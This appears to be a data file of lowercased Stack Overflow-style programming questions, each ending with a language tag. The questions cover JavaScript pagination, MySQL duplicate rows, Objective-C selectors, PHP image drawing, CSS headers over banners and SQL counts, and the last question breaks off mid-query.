simple pagination using javascript  i m trying to create a simple pagination using javascript (yes  i am aware of jquery plugins but i really would like to figure out how i can do this from scratch). anyway  i m quite close to finishing the paging but i can t quite figure out how i can make the back button work. also  how can i add page numbers so that i can have something like: next ... 1 2 .. 9 10 ... last  currently i only have next and last buttons. here s how my code looks like currently. i know it still needs fixing but  i ll take of that later.   <pre><code>&lt; php for ($i = 1; $i &lt;= 50; $i++) {  &gt; &lt;div id= div&lt; php echo $i;  &gt;  style= display:none; &gt;     &lt;div&gt;&lt;label&gt;object&lt; php echo $i;  &gt;&lt;/label&gt;&lt;br/&gt;&lt;br/&gt;&lt;/div&gt; &lt;/div&gt; &lt; php   $j = $i; }  &gt; &lt;div&gt;&lt;input type= button  id= btn_next  value= next  onclick= gonext() /&gt;&lt;/div&gt; &lt;div&gt;&lt;input type= button  style= display:none;  id= btn_back  value= back  onclick= goback() /&gt;&lt;/div&gt; </code></pre>   i don t think there s anything in my html/php elements that need changing but i added it for more detail. here s my current javascript:   <pre><code>&lt;script type= text/javascript  language= javascript &gt; for (var i = 0; i &lt;= 5; i++) { if(document.getelementbyid( object +i) != null) {      if (document.getelementbyid( object +i) != null &amp;&amp; typeof(document.getelementbyid( object +i)) != undefined &amp;&amp; document.getelementbyid( object +i) !=   ) {         var x = document.getelementbyid( object +i).style.display =  block ;         var count5 = +i;     } }}  var nextarr = [1  2  3  4  5]; var prevarr = [1 2 3 4 5];  function gonext(){ var max =  &lt; php echo $j;  &gt;  var num1 = i; var num2 = num1 + 4; var num3 = num1 - 1;  for (var next = nextarr.length; next &lt;= num2; next++) {     document.getelementbyid( object +next).style.display =  block ; }  if(num2 == max){     document.getelementbyid( btn_next ).style.display =  none ; }  for (var newarr= 5; newarr &lt;= num3; newarr++) {     nextarr[newarr] = [newarr]; }  var quotient = num1 / 5; if(quotient &gt;= 1) {     for (var value = num3; value &gt; 0; value--) {         document.getelementbyid( object +value).style.display =  none ;     } }  //increment i i = num2 + 1;  //display back if array lenght is &gt; 5 if(nextarr.length &gt;= 5) {     document.getelementbyid( btn_back ).style.display =  block ; }}  function goback() { var num1 = i; var num2 = num1 + 4; var num3 = num1 - 1; var num4 = num3 - 5;  i = num2+ 1;  for (var back = num4; back &gt;= 5; back--) {     prevarr[back] = [back]; }  var quotient = num1 / 5; if (quotient &gt;= 1) {     for(var prev = num4; prev &gt;= 0 ; prev--)     {         document.getelementbyid( hiddendiv +prev).style.display= block ;     }        }}&lt;/script&gt; </code></pre>   num1 is the first index of the next 5 items to be displayed  num2 is the last index of the next 5 items  num3 is the last index of the currently displayed items and num4 is the 1st index of the currently displayed items. the back button already does something however  i just can t put my finger on the right idea to hide the elements when the previous divs are displayed. any suggestions would be great.,javascript
mysql-how to select first duplicate row of corresponding column value  i have a table that contains three columns(a b c). all columns are of datatype varchar().here i want to select only those initial rows which is first duplicate value of column a. like column a has distinct value (1 2 3) so the initial row that has value 1 in column a need to be retrieved.one more thing i don t have a timestamp column in my dataset.   <pre><code>for value 1 in column a  i need to retrieve row that has 1 2 1 value for column (a b c) for value 2 in column a  i need to retrieve row that has 2 4 1 value for column (a b c) for value 3 in column a  i need to retrieve row that has 3 1 1 value for column (a b c)  a|b|c -----   1|2|1 3|1|2 3|3|1 2|4|1 3|1|2 3|1|4 1|2|3  now i want a output table as describe below.  a|b|c ----- 1|2|1 3|1|2 2|4|1 </code></pre>,mysql
what is the meaning of :  int i  (!!i)    we have the following c++ code:   <pre><code>int i; (!!i); </code></pre>   what is the operation on variable i,c++
.net recompile on change/save  i am using <code>.net framework</code> where i have to kill the server and manually recompile each time i make a small change  which is kinda annoying and most of the time i forget to recompile  and wonder why things aren t working as they suppose to.    i am so used to <code>nodemon</code> for <code>nodejs</code>  and wondering if <code>dotnet</code> has something similar.,.net
including a python library with my script  my system administrator will not allow global installation of python packages. i m writing a script that people will invoke to perform certain actions for them. the script i m writing needs certain libraries like <code>sqlalchemy</code> and <code>coloredlogs</code>. i am however allowed to install python libs any local folder. i.e not site-packages.    how would i go about installing the libs in the same folder as the script so that the script has access to them     my folder hierarchy is like so   <pre><code>script_to_invoke.py scriptpack/     bin/         coloredlogs         coloredlogs.egg         ...     utils/         util1.py         util2.py </code></pre>   (all the folders indicated have an <code>__init__.py</code>)   <hr>   what i ve tried so far:    within <code>script_to_invoke.py</code>  i use   <pre><code>from scriptpack.utils invoke util1 # no problem here from scriptpack.bin import coloredlogs # fails to find the import </code></pre>   i ve looked at some other so answers abut i m not sure how to correlate them with my problem.,python
`unrecognized selector sent to instance`  in my app i have an animation that scrolls across the screen. my problem is that when i use an <code>@selector</code> to call my animation the thread crashes.    if i use the same <code>@selector</code> to call another function in my page it works perfect but when call this function it doesn t seem to work. if i put my code in the <code>viewdidload</code> section it works fine.    i tried quite a few of these links for <code>unrecognized selector sent to instance</code> in stackoverflow but nothing helped. i also tried <code>- (void)imagespawn</code> instead of  <code>- (void) imagespawn:(id)sender withevent:(uievent *)</code> event and change the selector to <code>(imagespawn)</code> instead of `(imagespawn:) still no luck....   <pre><code>- (void)viewdidload {      [self performselector:@selector(imagespawn:) withobject:nil afterdelay:3]; }  - (void) imagespawn:(id) sender withevent:(uievent *) event {      uiimage* image = [uiimage imagenamed:@ ae ];     uiimageview *rocket = [[uiimageview alloc] initwithimage:image];     rocket.frame = cgrectmake(-25  200  25  40);     [uiview animatewithduration:5 animations:^(){rocket.frame=cgrectmake(345  200  25  40);} completion:^(bool finished){if (finished){             //trigger an event.            uialertview *alert = [[uialertview alloc] initwithtitle:@ tapped row!                                                             message:[nsstring stringwithformat:@ shot ]                                                           delegate:nil                                                  cancelbuttontitle:@ yes  i did!                                                   otherbuttontitles:nil];            [alert show];         }     }];     [myscrollview addsubview:rocket]; }     2013-03-28 10:14:31.661 shotplacementgiude001[16897:c07] -[selectedcellviewcontroller imagespawn:]: unrecognized selector sent to instance 0xa159480 2013-03-28 10:14:31.663 shotplacementgiude001[16897:c07] *** terminating app due to uncaught exception  nsinvalidargumentexception   reason:  -[selectedcellviewcontroller imagespawn:]: unrecognized selector sent to instance 0xa159480  *** first throw call stack: (0x16b4012 0x13c1e7e 0x173f4bd 0x16a3bbc 0x16a394e 0xdbf5b3 0x1673376 0x1672e06 0x165aa82 0x1659f44 0x1659e1b 0x27157e3 0x2715668 0x305ffc 0x2c3d 0x2b65 0x1) libc++abi.dylib: terminate called throwing an exception (lldb)  </code></pre>,objective-c
error c2248:  std::basic_ios<_elem _traits>::basic_ios  : cannot access private member declared in class  std::basic_ios<_elem _traits>   getting this error and i m pretty sure it s in the operator&lt;&lt; function. both prints are public.   <pre><code>void crational::print() const {     print(cout); }  void crational::print(ostream &amp; sout) const {     if(m_denominator == 1)         cout &lt;&lt; m_numerator;     else         cout &lt;&lt; m_numerator &lt;&lt;  /  &lt;&lt; m_denominator; }  ostream operator&lt;&lt;(ostream &amp; sout const crational a) {     a.print();      return sout; }  crational operator++() // prefix ++x {     m_numerator += m_denominator;     return *this; }  in main: cout &lt;&lt;  e before:   &lt;&lt; e &lt;&lt;    \ cout &lt;&lt; ++e\  :   &lt;&lt; ++e &lt;&lt;   after:   &lt;&lt; e &lt;&lt; endl;  </code></pre>,c++
is it normal that after clicking a rails link_to method all the options appear in the url bar   i have this in one of my views:   <pre><code>  &lt;%= link_to  vote up     :url =&gt; {:controller =&gt; :votes  :action =&gt; :vote_up  :id =&gt; i.id}                             :update =&gt;  total_value_#{i.id}                              :remote =&gt; true %&gt;   &lt;%= link_to  vote down   :url =&gt; {:controller =&gt; :votes  :action =&gt; :vote_down  :id =&gt; i.id}                             :update =&gt;  total_value_#{i.id}                               :remote =&gt; true %&gt; </code></pre>   when i click say  <em>vote up</em>  i get something like this in the url:   <blockquote>    <a href= http://localhost:3000/ remote=true&amp;update=total_value_29&amp;url%5baction%5d=vote_up&amp;url%5bcontroller%5d=votes&amp;url%5bid%5d=29  rel= nofollow >http://localhost:3000/ remote=true&amp;update=total_value_29&amp;url%5baction%5d=vote_up&amp;url%5bcontroller%5d=votes&amp;url%5bid%5d=29</a>  </blockquote>   the action is in a controller called <strong>votes_controller.rb:</strong>   <pre><code>class votescontroller &lt; applicationcontroller   def vote_up     check = votes.find(:first                         :conditions =&gt; [ user_id =   and post_id =     session[:user_id]  params[:id]])      post = post.find(params[:id])      if check.nil        vote = votes.new       vote.post_id = params[:id]       vote.user_id = session[:user_id]       vote.value = true       vote.save       post.total_value += 1       post.save       render :text =&gt; post.total_value     elsif check.value == false       check.value = true       check.save       post.total_value += 2       post.save       render :text =&gt; post.total_value     else       render :text =&gt;  you have already voted up for this post.      end   end    def vote_down     check = vote.find(:first                        :conditions =&gt; [ user_id =   and post_id =     session[:user_id]  params[:id]])      post = post.find(params[:id])      if check.nil        vote = vote.new       vote.post_id = params[:id]       vote.user_id = session[:user_id]       vote.value = true       vote.save       post.total_value -= 1       post.save       render :text =&gt; post.total_value     elsif check.value == true       check.value = false       check.save       post.total_value -= 2       post.save       render :text =&gt; post.total_value     else       render :text =&gt;  you have already voted down for this post.      end   end end </code></pre>   i m not sure if this is normal or i have a syntax error somewhere,ruby-on-rails
what section of memory are static local constants stored in   i know global constant will be stored in  read only  section. but what section of memory are static local constants stored in,c
i would like to make uitableview cells  entry fields  i would like for each of the cells in uitableview be an entry field. in other words when the table appears and a user clicks/taps on a specific cell  the keyboard will appear and what ever the user types gets enter into the field.  i will later use all these field as data in an array  for other uses.,iphone
what s the best way to create grouped table view controllers on the iphone   uitableviewcontroller has an initwithstyle method where you pass it the style you want the table view to use  plain or grouped.  these means that to create and use my table view controller  somewhere else in the code  possibly in multiple places  i do this:   <pre><code>myviewcontroller *myviewcontroller = [[myviewcontroller alloc] initwithstyle: uitableviewstylegrouped]; [self.navigationcontroller pushviewcontroller: myviewcontroller animated: yes]; [myviewcontroller release]; </code></pre>   these seems backwards to me.  the classes that use my uitableviewcontroller should not know or care if it used grouped or plain style  that is a concern that the myviewcontroller should take care of.  what s the idiomatic way of dealing with this   override the init method in myviewcontroller to call initwithstyle,iphone
enumerate through data structure objective-c  i have the following data structure. i want to add a new object to a new array that will store my markers.   <pre><code>({ title =  1 ;    location =  2 ; }  {    title =  3 ;    location =  4 ; }) </code></pre>   how do i set each marker so that the first object in the new array has the property marker.title with the value of 1 and marker.location with the value of 2,objective-c
angular.js app doesn t see a controller  i have a standard app:   <pre><code>angular.module( angularfrontapp   [      ngroute        ngresource        nganimate  ]).config(appconfig); </code></pre>   and some controller   <pre><code>angular.module( angularfrontapp )     .controller( formscontroller   formscontroller);  formscontroller.$inject = [ $scope    ajaxforms    appconst ]; function formscontroller ($scope  ajaxforms  appconst) {      //..... } </code></pre>   i am trying call a controller in ng-include  but it fails in dynamictemplate (its dynamic var like some.html):   <pre><code>&lt;div ng-include= dynamictemplate &gt;&lt;/div&gt;   &lt;div ng-controller= formscontroller &gt;some stuff....&lt;/div&gt; </code></pre>   but if i call the controller outside of include - it works fine. why doesn t angular see controllers and other things in includes,angularjs
passing parameter to a windows service in c#  i am creating a windows service which has to run on specific days and time. i am passing these variables using an xml document. here is my code for passing the values   <pre><code>   static void main()     {         servicebase[] servicestorun;          service1= new service1();                    //load setting from xml and assign to variables  daystoexec  and  timetoexec          loadsettings();         service1.daystoexecute = daystoexec;         service1.timetoexecute = timetoexec;         servicestorun = new servicebase[] { service1 };         servicebase.run(servicestorun);                } </code></pre>   the code for onstart() in service1.cs    <pre><code>    protected override void onstart(string[] args)     {      timer1.enable = true;     }      private void timer1_tick(object sender  eventargs e)     {         foreach (string daytorun in daystoexecute)         {             if (datetime.now.dayofweek.tostring().toupper().equals(daytorun.toupper())  &amp;&amp; datetime.now.toshorttimestring().equals(timetoexecute))              {                 process.start( path to executable );             }         }     } </code></pre>   but this is not starting the executable. is there something wrong with this code.    thanks.,c#
c# path to file change after using mapimailmessage  there is a strange behaviour that i dont understand.    there the part of the code wich is imply in my problem.   <pre><code>public static npgsqlconnection connectread()     {         string pass =  password_here ;         streamreader sr = new streamreader(@ stc.cts );         string line;         string conn =   ;          while ((line = sr.readline()) != null)         {              conn = line;         }         sr.close();          conn = cdf.cdf.crypt.decrypt(conn  pass);          npgsqlconnection con = new npgsqlconnection(conn);          con.open();          return con;      } </code></pre>   and   <pre><code>if (mailcheckbox.checked == true)                 {                     string subject = pototal;                     string body =  voici le bon de commande ;                      mapimailmessage message = new mapimailmessage(subject  body);                     //message.files.add(serveur + nomfichier);                     message.files.add(@ c:\pdftemp\  + nomfichier);                       message.showdialog();                 } </code></pre>   as you can see  the first part is a connection string and the second one is a mapi to open default mail software.    my problem is: if i dont use the mapi portion of my program  everything work perfectly. if i use the mapi portion  my program stop connecting because it seems to change the stc.cts path to c:/foxmail/stc.cts.    if anyone have a clue  i would realy appreciate.,c#
why doesn t this simple php preg_match() function work   although a $_files array is not shown  this is intended for file upload  i have had problems with file uploading so i was not able to get the [type] part of the $_files array yet... but this is just a simple problem of why isn t this function working...   <pre><code>   &lt; php      function getextension() {         // global $testfile;         $extension =  ./mp3/ ; // also tried simply mp3 without the forwards slashes         $testfile =  song.mp3 ;         if(preg_match($extension  $testfile)) {         echo  match found ;         }else {         echo  no match found ;         }      }     getextension();       &gt; </code></pre>,php
convert the for loop to accept id type  i want to be able to reuse this method so it s not restricted by the class being called in the for loop declaration.     the problem is the compiler has no idea what id actually is  so i cannot use . notation on it. i need to cast it to a whatever type of event class i ll be passing it  instead of having to repeat the method for <code>specialevent1</code> <code>specialevent2</code> <code>specialevent3</code>    so instead of <code>for (specialevent1 *event in day)</code> i want to be able to do something like <code>for (id event in day)</code> but problem occurs when i try to access the time or duration property    <pre><code>- (nsarray *)sumday:(nsarray *)day {     nsinteger morning = 0  afternoon = 0  evening = 0  night = 0;      for (specialevent1 *event in day) {         nsdate *date = [nsdate datewithtimeintervalsincereferencedate:event.time];         nsdatecomponents *components = [[nscalendar currentcalendar] components:nscalendarunithour fromdate:date];         nsinteger hour = [components hour];          if (hour &lt; 12) {             morning += event.duration;         }         else if (hour &lt; 18) {             afternoon += event.duration;         }         else if (hour &lt; 20) {             evening += event.duration;         }         else {             night += event.duration;         }     }      nsarray *sums = @[@(morning)  @(afternoon)  @(evening)  @(night)];     return sums;  } </code></pre>,objective-c
imagesetpixel() not working in loop  i am trying to develop a heat map using php. the file takes the input from text file the values of the coordinates and using the php code  we map those values on the screen. i do not know what is the problem with my code but it is not generating any image. i am attaching the code.   <pre><code>&lt; php  $width = 1024; $height = 768;  $splitted[]=  ; $splitted1[]=  ; $x=  ; $y=  ; $x_value[]=  ; $y_value[]=  ;  $im = imagecreatetruecolor($width  $height); $red = imagecolorallocate($im  255  0  0); $white = imagecolorallocate($im  255  255  255); $black = imagecolorallocate($im  0  0  0); $blue = imagecolorallocate($im  0  0  255); $gray = imagecolorallocate($im  0xc0  0xc0  0xc0); imagefill($im  0  0  $black); $file =  clickcount.txt ; $fp = fopen($file   r ) or die( error opening file ); $file = fread($fp  filesize($file)); $splitted = explode( :   $file);      for ($i = 0; $i &lt; count($splitted); $i++)  {     if (!is_string($splitted[$i]))         return false;      //$arr_query = null;     $url = parse_url($splitted[$i]);     $url = $url[ query ];     parse_str($url  $vars);     $x = intval($vars[ x ]);     $y = intval($vars[ y ]);     $x_value[$i]=$x;     $y_value[$i]=$y;      //imagesetpixel($im  $x  $y  $white);      //$splitted1=explode(    $splitted[$i]);  } for($i = 0; $i &lt;( count($x_value)-1); $i++) {     echo  inside the loop ;     echo $x_value[$i];     echo $y_value[$i];     imagesetpixel($im  $x_value[$i]  $y_value[$i]  $white);  } header( content-type: image/png ); imagepng( $im ); imagedestroy($im);  &gt; </code></pre>   and values in the text file are :   <pre><code>/musicstore/empty.php x=437&amp;y=392: /musicstore/empty.php x=407&amp;y=631: /musicstore/empty.php x=135&amp;y=305:   /musicstore/empty.php x=199&amp;y=420: /musicstore/empty.php x=290&amp;y=426: /musicstore/empty.php x=408&amp;y=435: /musicstore/empty.php x=1099&amp;y=398: /musicstore/empty.php x=1104&amp;y=256: /musicstore/empty.php x=1115&amp;y=62: /musicstore/empty.php x=1032&amp;y=146: /musicstore/empty.php x=1022&amp;y=262: /musicstore/empty.php x=757&amp;y=246: /musicstore/empty.php x=752&amp;y=365: /musicstore/empty.php x=750&amp;y=417:  /musicstore/empty.php x=752&amp;y=485: </code></pre>,php
"nav menu over homepage banner area  i would like to know the best way to implement a header/nav that sits over the top of a home page banner div so that the banner s background shows through the header. the content of the header would be located in a template file  while the content of the homepage banner would be outside the template. because of this  i don t think i can/should nest the header inside the banner. also  because i m using a template  the same header will be used on pages other than the home page that don t have a banner.    so far i ve got something that sort of works  but i had to do some things that seem a bit inelegant:    1) i had to code the header after the banner. it s probably not a big deal  but i suppose it would be better for screen readers if the first part came first and the second part second.    2) in order for the content text to clear the absolutely positioned banner  i put a bunch of padding at the top of the #content div. but unless the banner is a fixed height  the amount of padding required will vary. also  on pages that don t have a banner  i d have to remove that padding entirely.    what s the better way     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>body {
     font-family: helvetica;
     margin: 0;
    }
    
    #banner {
        background-image: url( http://toprival.com/temp/jsfiddle/background.jpg );
        margin: 0;
        padding: 100px 30px 30px 30px;
        position: absolute;
        top: 0;
        width: 100%;
        background-size:cover;
    }
    
    #banner h1 {
     font-size: 3em;
    }
    
    header {
        position: absolute;
        background: rgba(0  0  0  0.6);
        top: 0;
        left: 0;
        right:0;
        padding: 30px;
    }
    
    #menu {
     padding: 0;
     margin: 0;
    }
    
    #menu li {
     float: left;
     margin-right: 30px;
     list-style-type: none;
    }
    
    #menu li a {
     text-decoration: none;
     color: #fff;
    }
       
       #menu li a:hover {
     color: aqua;
    }
    
    .clearfix:after {
     content:   ;
     display: table;
     clear: both;
    }
    
    #content {
     padding: 260px 30px 30px 30px;
    }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div id= banner &gt;
    &lt;h1&gt;supacool website title here&lt;/h1&gt;
   &lt;/div&gt;
   
   &lt;header&gt;
    &lt;ul id= menu  class= clearfix &gt;
     &lt;li&gt;&lt;a href= # &gt;home&lt;/a&gt;&lt;/li&gt;
     &lt;li&gt;&lt;a href= # &gt;about us&lt;/a&gt;&lt;/li&gt;
     &lt;li&gt;&lt;a href= # &gt;services&lt;/a&gt;&lt;/li&gt;
     &lt;li&gt;&lt;a href= # &gt;blog&lt;/a&gt;&lt;/li&gt;
     &lt;li&gt;&lt;a href= # &gt;contact&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
   &lt;/header&gt;
   
   &lt;div id= content &gt;
    &lt;p&gt;lorem ipsum dolor sit amet  consectetur adipiscing elit. quisque vitae est ut nunc iaculis luctus vitae in risus. proin mollis facilisis ligula  sed elementum odio consequat quis. sed at diam urna  vulputate egestas dui. aenean vehicula fringilla dapibus. fusce aliquet rhoncus leo  vel tempus mi auctor ultricies. aliquam pulvinar luctus odio  rhoncus tincidunt diam egestas nec. quisque semper mauris luctus augue rutrum ultrices ut tincidunt elit. donec ultricies lorem nec justo hendrerit lobortis. curabitur rutrum mattis massa  sit amet faucibus ipsum sodales id. sed nec orci justo  et vulputate felis. sed congue  nisl non tincidunt adipiscing  nibh nunc lacinia leo  feugiat feugiat erat neque sit amet est.&lt;/p&gt;
    
    &lt;p&gt;lorem ipsum dolor sit amet  consectetur adipiscing elit. quisque vitae est ut nunc iaculis luctus vitae in risus. proin mollis facilisis ligula  sed elementum odio consequat quis. sed at diam urna  vulputate egestas dui. aenean vehicula fringilla dapibus. fusce aliquet rhoncus leo  vel tempus mi auctor ultricies. aliquam pulvinar luctus odio  rhoncus tincidunt diam egestas nec. quisque semper mauris luctus augue rutrum ultrices ut tincidunt elit. donec ultricies lorem nec justo hendrerit lobortis. curabitur rutrum mattis massa  sit amet faucibus ipsum sodales id. sed nec orci justo  et vulputate felis. sed congue  nisl non tincidunt adipiscing  nibh nunc lacinia leo  feugiat feugiat erat neque sit amet est.&lt;/p&gt;
    
    &lt;p&gt;lorem ipsum dolor sit amet  consectetur adipiscing elit. quisque vitae est ut nunc iaculis luctus vitae in risus. proin mollis facilisis ligula  sed elementum odio consequat quis. sed at diam urna  vulputate egestas dui. aenean vehicula fringilla dapibus. fusce aliquet rhoncus leo  vel tempus mi auctor ultricies. aliquam pulvinar luctus odio  rhoncus tincidunt diam egestas nec. quisque semper mauris luctus augue rutrum ultrices ut tincidunt elit. donec ultricies lorem nec justo hendrerit lobortis. curabitur rutrum mattis massa  sit amet faucibus ipsum sodales id. sed nec orci justo  et vulputate felis. sed congue  nisl non tincidunt adipiscing  nibh nunc lacinia leo  feugiat feugiat erat neque sit amet est.&lt;/p&gt;
    
    &lt;p&gt;lorem ipsum dolor sit amet  consectetur adipiscing elit. quisque vitae est ut nunc iaculis luctus vitae in risus. proin mollis facilisis ligula  sed elementum odio consequat quis. sed at diam urna  vulputate egestas dui. aenean vehicula fringilla dapibus. fusce aliquet rhoncus leo  vel tempus mi auctor ultricies. aliquam pulvinar luctus odio  rhoncus tincidunt diam egestas nec. quisque semper mauris luctus augue rutrum ultrices ut tincidunt elit. donec ultricies lorem nec justo hendrerit lobortis. curabitur rutrum mattis massa  sit amet faucibus ipsum sodales id. sed nec orci justo  et vulputate felis. sed congue  nisl non tincidunt adipiscing  nibh nunc lacinia leo  feugiat feugiat erat neque sit amet est.&lt;/p&gt;
    
    &lt;p&gt;lorem ipsum dolor sit amet  consectetur adipiscing elit. quisque vitae est ut nunc iaculis luctus vitae in risus. proin mollis facilisis ligula  sed elementum odio consequat quis. sed at diam urna  vulputate egestas dui. aenean vehicula fringilla dapibus. fusce aliquet rhoncus leo  vel tempus mi auctor ultricies. aliquam pulvinar luctus odio  rhoncus tincidunt diam egestas nec. quisque semper mauris luctus augue rutrum ultrices ut tincidunt elit. donec ultricies lorem nec justo hendrerit lobortis. curabitur rutrum mattis massa  sit amet faucibus ipsum sodales id. sed nec orci justo  et vulputate felis. sed congue  nisl non tincidunt adipiscing  nibh nunc lacinia leo  feugiat feugiat erat neque sit amet est.&lt;/p&gt;
    
    &lt;p&gt;lorem ipsum dolor sit amet  consectetur adipiscing elit. quisque vitae est ut nunc iaculis luctus vitae in risus. proin mollis facilisis ligula  sed elementum odio consequat quis. sed at diam urna  vulputate egestas dui. aenean vehicula fringilla dapibus. fusce aliquet rhoncus leo  vel tempus mi auctor ultricies. aliquam pulvinar luctus odio  rhoncus tincidunt diam egestas nec. quisque semper mauris luctus augue rutrum ultrices ut tincidunt elit. donec ultricies lorem nec justo hendrerit lobortis. curabitur rutrum mattis massa  sit amet faucibus ipsum sodales id. sed nec orci justo  et vulputate felis. sed congue  nisl non tincidunt adipiscing  nibh nunc lacinia leo  feugiat feugiat erat neque sit amet est.&lt;/p&gt;
    
    &lt;p&gt;lorem ipsum dolor sit amet  consectetur adipiscing elit. quisque vitae est ut nunc iaculis luctus vitae in risus. proin mollis facilisis ligula  sed elementum odio consequat quis. sed at diam urna  vulputate egestas dui. aenean vehicula fringilla dapibus. fusce aliquet rhoncus leo  vel tempus mi auctor ultricies. aliquam pulvinar luctus odio  rhoncus tincidunt diam egestas nec. quisque semper mauris luctus augue rutrum ultrices ut tincidunt elit. donec ultricies lorem nec justo hendrerit lobortis. curabitur rutrum mattis massa  sit amet faucibus ipsum sodales id. sed nec orci justo  et vulputate felis. sed congue  nisl non tincidunt adipiscing  nibh nunc lacinia leo  feugiat feugiat erat neque sit amet est.&lt;/p&gt;
   &lt;/div&gt;</code></pre>
 </div>
 </div>",css
creating a search bar within my program  in visual basic on visual studio 2015  how would i create a search function that could look through multiple labels to find a specific word or phrase,.net
avaudiorecorder & avaudioplayer - sound output on internal speaker  how to change   i have a problem with avaudiorecorder and avaudioplayer.    when i use player and record at the same time (eg. for playing sound while recording) the sound is in the quiet internal speaker. i searched stackoverflow and all i found was this code:   <pre><code>uint32 *audiorouteoverride = kaudiosessionoverrideaudioroute_speaker; audiosessionsetproperty (kaudiosessionproperty_overrideaudioroute sizeof (audiorouteoverride) &amp;audiorouteoverride); </code></pre>   but this doesn t help me :( when i copypaste it  i got errors. what can i do to record and play the loud speaker at the bottom     i don t use anything like sclister oder something...    thanks in advance    max,iphone
querying data from result of first hierarchy to query data on second hierarchy  i am using column of data from first table of hierarchy to do the next query on second table of hierarchy.    1st query (from <strong>courses</strong> table) - 1st hierarchy:   <pre><code>“select course_id  record_id from courses” </code></pre>   let’s say if we got this results:   <pre><code>course_id   | record_id 1417        |  555555 2203        |  444444 3765        |  222222 </code></pre>   i would like to use data <strong>course_id</strong> got from 1st query as an <strong>index</strong> to do the next query.    2nd query (from <strong>sections</strong> table) - 2nd hierarchy:    not sure what would be the best query to put the logic together.    here are some of queries that i tried:   <pre><code>“select section_id  course_id from sections where course_id in ...     select course_id from (select course_id from courses) as cid from sections..     </code></pre>   can i do this    <pre><code> select section_id  course_id from sections where course_id = (select course_id from courses )    </code></pre>,mysql
asp panel position inside a html panel  im trying to put a asp.panel inside an html table. but the table height of 100% doesn t fill up the space of the asp.panel. does anybody have a solution for this     this is a sample of my master page:   <pre><code>      &lt;table id= tablecontent  bgcolor= #565757  border= 0  height= 100%  cellspacing= 5  cellpadding= 0 &gt;       &lt;div id= content &gt;         &lt;asp:contentplaceholder id= maincontent  runat= server &gt;           &lt;tr&gt;             &lt;td&gt;&lt;!-- page-specific content will go here... --&gt;&lt;/td&gt;             &lt;/tr&gt;           &lt;/asp:contentplaceholder&gt;         &lt;/div&gt;       &lt;/table&gt; </code></pre>   and this is the code for the panel.   <pre><code>&lt;td align= center &gt; &lt;form id= kunstenaars  runat= server &gt;      &lt;asp:panel id= panel1  runat= server  backcolor= #565757  bordercolor= white  enabletheming= false  enableviewstate= false  scrollbars= none   style= position: relative; left: auto; width: auto; height: auto; z-index: 2; &gt;         &lt;asp:literal id= litkunstkoop  runat= server &gt;&lt;/asp:literal&gt;         &lt;asp:hiddenfield id= hdsoort  runat= server  /&gt;         &lt;asp:sqldatasource id= afmetingen_datasource  runat= server  connectionstring= &lt;%$ connectionstrings:cnnsmelikstokkingweb %&gt;  selectcommand= select [afmeting] from [afmetingen] order by [afmeting]  providername= system.data.sqlclient &gt;&lt;/asp:sqldatasource&gt;         &lt;asp:label id= lblafmeting  runat= server  backcolor= #565757  font-bold= true  font-names= verdana  font-size= small  forecolor= white  style= z-index: 1; left: 277px; top: 77px; position: absolute; width: 157px  text= kies afmeting  visible= false &gt;&lt;/asp:label&gt;         &lt;asp:hiddenfield id= hdfotocount  runat= server  visible= false  /&gt;         &lt;asp:hiddenfield id= hdtaal  runat= server  /&gt;         &lt;asp:textbox id= van  runat= server  backcolor= #565757  font-bold= true  font-names= verdana  font-size= x-small  forecolor= white  readonly= true  style= z-index: 1; top: 79px; text-align: center; position: absolute; align-content: center;width: 31px; left: 630px  bordercolor= #999999 &gt;1&lt;/asp:textbox&gt;         &lt;asp:textbox id= streep  runat= server  backcolor= #565757  font-bold= true  font-names= verdana  font-size= x-small  forecolor= white  readonly= true  style= z-index: 1; top: 79px; text-align: center; position: absolute; align-content: center;width: 12px; left: 664px  bordercolor= #999999 &gt;-&lt;/asp:textbox&gt;         &lt;asp:textbox id= tm  runat= server  backcolor= #565757  font-bold= true  font-names= verdana  font-size= x-small  forecolor= white  readonly= true  style= z-index: 1; top: 79px; text-align: center; position: absolute; align-content: center;width: 31px; left: 679px;  bordercolor= #999999 &gt;20&lt;/asp:textbox&gt;         &lt;asp:imagebutton id= btbw  runat= server  imageurl= images/goback.png  style= z-index: 1; left: 611px; top: 80px; position: absolute; height: 16px; width: 16px  /&gt;         &lt;asp:imagebutton id= btfw  runat= server  imageurl= images/goforward.png  style= z-index: 1; left: 723px; top: 79px; position: absolute; height: 16x; width: 19px  /&gt;       &lt;/asp:panel&gt;     &lt;/asp:panel&gt;     &lt;/form&gt;&lt;/td&gt; </code></pre>   i hope that somebody has a solution for this.,asp.net
how to create a table from data that i obtained by a query  i would like to know how to create a table with the data that i obtained from the query.    <pre><code>select count (sigparedex) as bloqueconcreto  from dbo.fich_3_3$  where sigparedex = bco    select count (sigparedex) as ripios  from dbo.fich_3_3$  where sigparedex = rip   select count (sigparedex) as minifalda  from dbo.fich_3_3$  where sigparedex = min   select count (sigparedex) as maderaacepillada  from dbo.fich_3_3$  where sigparedex = mad   select count (sigparedex) as losetasconcreto from dbo.fich_3_3$ where sigparedex =  cpr   select count (sigparedex) as maderarustica from dbo.fich_3_3$ where sigparedex =  mar   select count (sigparedex) as ladrillocuarteron from dbo.fich_3_3$ where sigparedex =  lac  select count (sigparedex) as laminasmetalicas from dbo.fich_3_3$ where sigparedex =  met   select count (sigparedex) as plywood from dbo.fich_3_3$ where sigparedex =  ply  select count (sigparedex) as bloquedebarro from dbo.fich_3_3$ where sigparedex =  bba   select count (sigparedex) as katrinite from dbo.fich_3_3$ where sigparedex =  kad   select count (sigparedex) as laminafibrocemento from dbo.fich_3_3$ where sigparedex =  lfc   select count (sigparedex) as concretomonolitico from dbo.fich_3_3$ where sigparedex =  cmo   select count (sigparedex) as piedracantera from dbo.fich_3_3$ where sigparedex =  pca   select count (sigparedex) as adobe from dbo.fich_3_3$ where sigparedex =  ado   select count (sigparedex) as convitec from dbo.fich_3_3$ where sigparedex =  cov   select count (sigparedex) as gypsum from dbo.fich_3_3$ where sigparedex =  gyp   select count (sigparedex) as panelferrocemento from dbo.fich_3_3$ where sigparedex =  pfc   select count (sigparedex) as piedrabolon from dbo.fich_3_3$ where sigparedex =  prc   select count (sigparedex) as sininformacion from dbo.fich_3_3$ where sigparedex =  sin   select count (sigparedex) as laminastroqueladas from dbo.fich_3_3$ 